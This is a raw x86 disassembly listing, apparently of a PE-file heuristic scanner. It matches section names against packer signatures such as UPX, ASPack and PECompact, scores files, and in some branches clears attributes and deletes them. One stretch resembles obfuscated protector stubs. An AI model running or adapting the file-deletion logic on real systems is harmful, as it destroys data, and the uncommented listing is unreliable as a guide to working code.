mov dword [ebp - 0xb0], edi
cmp esi, 0x25
je 0x43c6c5
cmp esi, 0x26
jne 0x43c6cb
mov dword [ebp - 0x184], edi
cmp esi, 0x27
jne 0x43c6dc
mov dword [ebp - 0x15c], edi
inc esi
jmp 0x43c4bb
cmp esi, 0x28
jne 0x43c6ed
mov dword [ebp - 0x164], edi
inc esi
jmp 0x43c4bb
cmp esi, 0x2c
jne 0x43c6fe
mov dword [ebp - 0xb4], edi
inc esi
jmp 0x43c4bb
cmp esi, 0x2d
jne 0x43c70c
mov dword [ebp - 0x64], edi
inc esi
jmp 0x43c4bb
cmp esi, 0x2e
jne 0x43c71d
mov dword [ebp - 0xbc], edi
inc esi
jmp 0x43c4bb
cmp esi, 0x2f
jne 0x43c72e
inc esi
jmp 0x43c4bb
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x228]
inc ecx
cmp eax, edi
mov dword [ebp - 0x48], ecx
jne 0x43c932
inc dword [ebp - 0x5c]
cmp dword [ebp - 0x190], edi
jne 0x43c940
inc dword [ebp - 0xa0]
cmp dword [ebp - 0x48], 0x2710
jg 0x43c972
mov esi, dword [ebp - 0x180]
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x28]
mov eax, 4
inc esi
add edx, eax
add ecx, eax
mov dword [ebp - 0x180], esi
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x28], ecx
mov eax, ecx
jmp 0x43c3c9
push str.function_sum::
mov ecx, 0x65cd80
call fcn.00479641
mov ecx, dword [ebp - 0x180]
push ecx
mov ecx, eax
call fcn.00479a12
push 0xa
mov ecx, eax
call fcn.00479456
push 0x401430
mov ecx, eax
call fcn.00401410
mov ecx, dword [ebp - 0x174]
mov eax, dword [ebp - 0x78]
inc ecx
add eax, 0x14
mov dword [ebp - 4], 3
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x78], eax
jmp 0x43c219
mov eax, dword [0x6309b8]
push eax
call fcn.00404710
add esp, 4
mov edi, eax
mov dword [ebp - 0x50], ebx
cmp bx, word [esi + 2]
jae 0x43cbb5
xor ecx, ecx
push str..asp
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x80], ecx
mov byte [ebp - 0x7c], cl
mov edx, dword [edi]
mov dword [ebp - 0x84], edx
mov eax, dword [edi + 4]
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x80], eax
push ecx
call fcn.0047fde0
add esp, 8
mov esi, 1
test eax, eax
jne 0x43ca81
mov dword [ebp - 0x3c], esi
lea edx, [ebp - 0x84]
push str..upx
push edx
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43ca9c
mov dword [ebp - 0x3c], esi
lea eax, [ebp - 0x84]
push str..upack
push eax
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43cab7
mov dword [ebp - 0x3c], esi
lea ecx, [ebp - 0x84]
push str..Pecompact
push ecx
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43cad2
mov dword [ebp - 0x3c], esi
lea edx, [ebp - 0x84]
push str..aspack
push edx
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43caed
mov dword [ebp - 0x3c], esi
lea eax, [ebp - 0x84]
push str..fsg
push eax
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43cb08
mov dword [ebp - 0x3c], esi
lea ecx, [ebp - 0x84]
push str.upx0
push ecx
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43cb23
mov dword [ebp - 0x3c], esi
lea edx, [ebp - 0x84]
push str.upx1
push edx
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43cb3e
mov dword [ebp - 0x3c], esi
lea eax, [ebp - 0x84]
push 0x48b7ec
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x43cb5c
inc dword [ebp - 0xf4]
mov esi, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x50]
inc esi
inc eax
cmp eax, 0x64
mov dword [ebp - 0xf0], esi
mov dword [ebp - 0x50], eax
jg 0x43cbb5
mov esi, dword [ebp - 0x190]
add edi, 0x28
inc ebx
jmp 0x43ca3b
mov esi, dword [ebp - 0x48]
mov edi, dword [ebp - 0xf0]
mov dword [ebp - 4], 2
mov ebx, 1
mov ecx, dword [0x6309b8]
push ecx
call fcn.00404680
add esp, 4
test eax, eax
jne 0x43cc08
push str.Invalid_PE_Format_file_:
mov ecx, 0x65cd80
call fcn.00479641
push 0xa
mov ecx, eax
call fcn.00479456
push 0x401430
mov ecx, eax
call fcn.00401410
mov dword [ebp + 0xc], 3
push 0x6309b0
call fcn.00404650
mov eax, dword [ebp + 0xc]
add esp, 4
cmp eax, ebx
jne 0x43cc26
push 0x49b598
jmp 0x43f2a4
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x1c], esi
test edi, edi
mov dword [ebp - 0x28], edx
jne 0x43d4ed
cmp esi, ebx
jge 0x43d4ed
lea eax, [ebp - 0x1408]
mov dword [ebp - 0x44], edi
push eax
call fcn.0047c0d3
push 0x5585a440
call fcn.00661bc3
call fcn.00661c9a
test si, 0x3771
bt bx, 2
sub ax, bx
call fcn.0066138e
pushal
mov word [esp], 0x790b
jmp fcn.00660dfc
cmp dword [ebp + 0xc], 5
jne 0x43d4f8
test esi, esi
jne 0x43d4fa
test edi, edi
jle 0x43d5c9
mov ebx, dword [ebp - 0x68]
cmp ebx, 0xc800
jge 0x43d5cc
cmp ebx, 0x400
jle 0x43d5cc
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0xaa8]
push eax
call esi
lea ecx, [ebp - 0xaa8]
push ecx
call fcn.00429f20
add esp, 4
cmp eax, 1
jne 0x43b66d
lea edx, [ebp - 0xaa8]
push edx
call fcn.004299c0
add esp, 4
lea eax, [ebp - 0xaa8]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0xaa8]
push ecx
call esi
test eax, eax
jne 0x43b66d
lea edx, [ebp - 0xaa8]
push edx
call fcn.00429f20
add esp, 4
cmp eax, 1
jmp 0x43b64f
mov ecx, dword [ebp - 0xf4]
jmp 0x43d448
test esi, esi
jle 0x43d5c9
cmp esi, 0xa
jge 0x43d5c9
test ecx, ecx
jle 0x43d5c9
lea eax, [edi - 1]
cmp ecx, eax
jg 0x43d51e
jne 0x43d5c9
mov ebx, dword [ebp - 0x68]
cmp ebx, 0xa000
jge 0x43d5cc
cmp ebx, 0x400
jle 0x43d5cc
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0xaa8]
push edx
call esi
lea eax, [ebp - 0xaa8]
push eax
call fcn.00429f20
add esp, 4
cmp eax, 1
jne 0x43b66d
lea ecx, [ebp - 0xaa8]
push ecx
call fcn.004299c0
add esp, 4
lea edx, [ebp - 0xaa8]
push 0x80
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0xaa8]
push eax
call esi
test eax, eax
jne 0x43b66d
lea ecx, [ebp - 0xaa8]
push ecx
call fcn.00429f20
add esp, 4
cmp eax, 1
jne 0x43b66d
lea edx, [ebp - 0xaa8]
push edx
call fcn.00429e70
add esp, 4
lea edx, [ebp - 0x928]
mov edi, 0x49e6b0
jmp 0x43b678
mov ebx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x188]
xor edx, edx
cmp eax, 1
mov dword [ebp - 0x30], edx
mov byte [ebp - 0x928], dl
jle 0x43d611
mov edi, 0x49e558
or ecx, 0xffffffff
xor eax, eax
lea esi, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp + 0xc], esi
mov eax, ecx
mov esi, edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x14], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x428]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 2
je 0x43d676
mov edi, 0x49b3a8
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [ebp - 0x14]
and ecx, 3
mov eax, 1
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x60]
inc edx
cmp ecx, eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x170], eax
jne 0x43d676
cmp dword [ebp - 0x2c], eax
jge 0x43d676
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xb8]
mov edi, 1
cmp eax, edi
jne 0x43d6c8
mov edi, 0x49e548
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x24], 1
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x14]
mov ecx, edx
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], eax
mov edi, 1
cmp dword [ebp + 8], edi
jne 0x43d715
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x43d715
cmp dword [ebp - 0x60], edi
jne 0x43d715
mov edi, 0x49e538
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x14]
mov ecx, edx
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], eax
mov edi, 1
cmp dword [ebp - 0xc4], edi
jne 0x43d79a
mov eax, dword [ebp - 0x170]
test eax, eax
jne 0x43d79a
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x43d79a
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x4c]
test esi, esi
jne 0x43d7a0
test edx, edx
jne 0x43d7a0
cmp dword [ebp - 0x104], edi
jne 0x43d7a0
cmp dword [ebp - 0x2c], edi
jge 0x43d762
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x43d7a0
cmp ebx, 0x4b000
jle 0x43d7a0
push 0x49e518
jmp 0x43f2a4
lea eax, [ebp - 0x628]
lea ecx, [ebp - 0x928]
push eax
push 0x49e4f0
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x928]
push edx
call fcn.00483565
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x4c]
cmp dword [ebp - 0x194], edi
jne 0x43d800
cmp ebx, 0xc800
jle 0x43d800
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x3c
jle 0x43d803
test esi, esi
jne 0x43d803
test edx, edx
jne 0x43d803
cmp dword [0x65cd60], edi
jne 0x43d803
lea eax, [ebp - 0x628]
lea ecx, [ebp - 0x928]
push eax
push 0x49e4c4
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x928]
push edx
call fcn.00483565
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x5c]
cmp ebx, 0x32000
jle 0x43da83
test esi, esi
jne 0x43da83
test edx, edx
jne 0x43da83
cmp ebx, 0x7d000
jle 0x43d864
cmp ecx, 0x64
jle 0x43d864
lea eax, [ebp - 0x628]
lea ecx, [ebp - 0x928]
push eax
push 0x49e4ac
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x928]
push edx
call fcn.00483565
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x57800
jle 0x43d8fc
cmp ecx, 0x64
jle 0x43d8fc
cmp dword [ebp - 0x2c], edi
jle 0x43d8b6
lea eax, [ebp - 0x628]
lea ecx, [ebp - 0x928]
push eax
push 0x49e4ac
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x928]
push edx
call fcn.00483565
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ecx, 0x64
jle 0x43d8fc
cmp dword [ebp - 0xa0], 0x50
jle 0x43d8fc
lea eax, [ebp - 0x628]
lea ecx, [ebp - 0x928]
push eax
push 0x49e4ac
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x928]
push edx
call fcn.00483565
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x43da83
cmp dword [ebp - 0x14c], edi
jne 0x43d997
cmp ecx, 0x50
jle 0x43d997
cmp ebx, 0x4b000
jle 0x43d958
lea eax, [ebp - 0x628]
lea ecx, [ebp - 0x928]
push eax
push 0x49e4ac
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x928]
push edx
call fcn.00483565
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x2c]
test eax, eax
jle 0x43d997
lea eax, [ebp - 0x628]
lea ecx, [ebp - 0x928]
push eax
push 0x49e4ac
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x928]
push edx
call fcn.00483565
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10c]
cmp eax, edi
jne 0x43da32
cmp ecx, 0x50
jle 0x43da83
cmp ebx, 0x4b000
jle 0x43d9ee
lea eax, [ebp - 0x628]
lea ecx, [ebp - 0x928]
push eax
push 0x49e4ac
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x928]
push edx
call fcn.00483565
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0x2c]
test edi, edi
jle 0x43da2d
lea eax, [ebp - 0x628]
lea ecx, [ebp - 0x928]
push eax
push 0x49e4ac
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x928]
push edx
call fcn.00483565
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, 1
cmp ecx, 0x50
jle 0x43da83
mov edi, dword [ebp - 0xa0]
cmp edi, 0x50
mov edi, 1
jle 0x43da83
cmp eax, edi
jne 0x43da83
lea eax, [ebp - 0x628]
lea ecx, [ebp - 0x928]
push eax
push 0x49e4ac
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x928]
push edx
call fcn.00483565
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x9c]
test eax, eax
jle 0x43dadb
cmp dword [ebp - 0x48], 0x28
jle 0x43dadb
test esi, esi
jne 0x43dadb
test edx, edx
jne 0x43dadb
cmp dword [ebp - 0x198], edi
jne 0x43dadb
lea eax, [ebp - 0x628]
lea ecx, [ebp - 0x928]
push eax
push 0x49e4ac
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x928]
push edx
call fcn.00483565
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ecx, 0x64
jle 0x43db42
cmp dword [ebp - 0xa0], 0x50
jle 0x43db42
cmp dword [ebp - 0x48], 0xc8
jle 0x43db42
cmp ebx, 0x32000
jle 0x43db42
test esi, esi
jne 0x43db42
test edx, edx
jne 0x43db42
cmp dword [ebp - 0x18c], edi
jne 0x43db42
lea eax, [ebp - 0x628]
lea ecx, [ebp - 0x928]
push eax
push 0x49e4ac
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x928]
push edx
call fcn.00483565
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x114], edi
jne 0x43db7f
mov edi, 0x49b3b4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 1
mov al, byte [ebp - 0x1208]
cmp al, 0x30
je 0x43dbad
cmp al, 0x31
je 0x43dbad
cmp al, 0x32
je 0x43dbad
cmp al, 0x33
je 0x43dbad
cmp al, 0x34
je 0x43dbad
cmp al, 0x35
je 0x43dbad
cmp al, 0x36
je 0x43dbad
cmp al, 0x37
je 0x43dbad
cmp al, 0x38
je 0x43dbad
cmp al, 0x39
jne 0x43dbe9
mov edi, 0x49b3a0
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x14]
mov ecx, ebx
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], eax
mov edi, 1
mov eax, dword [ebp - 0x70]
mov dword [ebp + 0xc], 0
cmp eax, edi
jne 0x43dc34
mov edi, 0x49b390
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov eax, 1
and ecx, 3
mov dword [ebp + 0xc], eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x24], eax
mov edi, eax
cmp dword [ebp - 0x34], edi
jne 0x43dca3
lea eax, [ebp - 0xda8]
lea ecx, [ebp - 0x428]
push eax
push ecx
call fcn.004294c0
movsx eax, ax
add esp, 8
test eax, eax
je 0x43dc6e
lea edx, [ebp - 0xda8]
push 0x49e4a8
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43dca3
mov edi, 0x49e48c
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 1
cmp dword [ebp - 0x154], edi
jne 0x43dce0
mov edi, 0x49b380
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 1
cmp dword [ebp - 0x11c], edi
jne 0x43dd31
cmp dword [ebp - 0x88], edi
jne 0x43dd31
cmp dword [ebp - 0x60], edi
jne 0x43dd31
mov edi, 0x49e480
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x14]
mov ecx, ebx
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], eax
mov edi, 1
cmp dword [ebp - 0xa8], edi
jne 0x43dd75
mov edi, 0x49b370
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x14]
mov ecx, ebx
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], eax
mov edi, 1
cmp dword [ebp - 0xf8], edi
jne 0x43ddb9
mov edi, 0x49b360
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x14]
mov ecx, ebx
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], eax
mov edi, 1
cmp dword [ebp - 0x124], edi
je 0x43ddc9
cmp dword [ebp - 0x15c], edi
jne 0x43ddfe
mov edi, 0x49b354
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 1
cmp dword [ebp - 0x12c], edi
jne 0x43de42
mov edi, 0x49b344
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x14]
mov ecx, ebx
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], eax
mov edi, 1
cmp dword [ebp - 0x184], edi
jne 0x43de7f
mov edi, 0x49b338
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 1
cmp dword [ebp - 0x134], edi
jne 0x43debc
mov edi, 0x49b32c
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 1
cmp dword [ebp - 0xdc], edi
jne 0x43df07
mov edi, 0x49b31c
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x24], 1
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x14]
mov ecx, ebx
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], eax
mov edi, 1
cmp dword [ebp - 0x164], edi
jne 0x43df52
mov edi, 0x49b308
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp + 0xc], 1
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x14]
mov ecx, ebx
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], eax
mov edi, 1
cmp dword [ebp - 0x13c], edi
jne 0x43df96
mov edi, 0x49b2fc
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x14]
mov ecx, ebx
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], eax
mov edi, 1
cmp dword [ebp - 0x17c], edi
jne 0x43dfda
mov edi, 0x49b2f0
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x14]
mov ecx, ebx
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], eax
mov edi, 1
cmp dword [ebp - 0x98], edi
jne 0x43e017
mov edi, 0x49b2e4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 1
cmp dword [ebp - 0xa4], edi
jne 0x43e0bc
cmp dword [ebp - 0x144], edi
je 0x43e040
cmp dword [ebp - 0xfc], edi
je 0x43e040
lea edx, [ebp - 0x928]
mov edi, 0x49b2d8
jmp 0x43e08b
mov edi, 0x49b2cc
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x100]
mov ecx, ebx
and ecx, 3
cmp eax, 1
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x928]
mov edi, 0x49b2b8
je 0x43e08b
mov edi, 0x49b2a8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x14]
mov ecx, ebx
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], eax
mov edi, 1
cmp dword [ebp - 0x108], edi
jne 0x43e100
mov edi, 0x49b298
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x14]
mov ecx, ebx
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], eax
mov edi, 1
cmp dword [ebp - 0x110], edi
jne 0x43e14e
mov edi, 0x49b28c
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x928]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x38]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x14]
inc ecx
cmp eax, 1
mov dword [ebp - 0x14], ecx
jne 0x43e14e
cmp dword [ebp - 0xd8], 1
jne 0x43e18e
push 0x49e39c
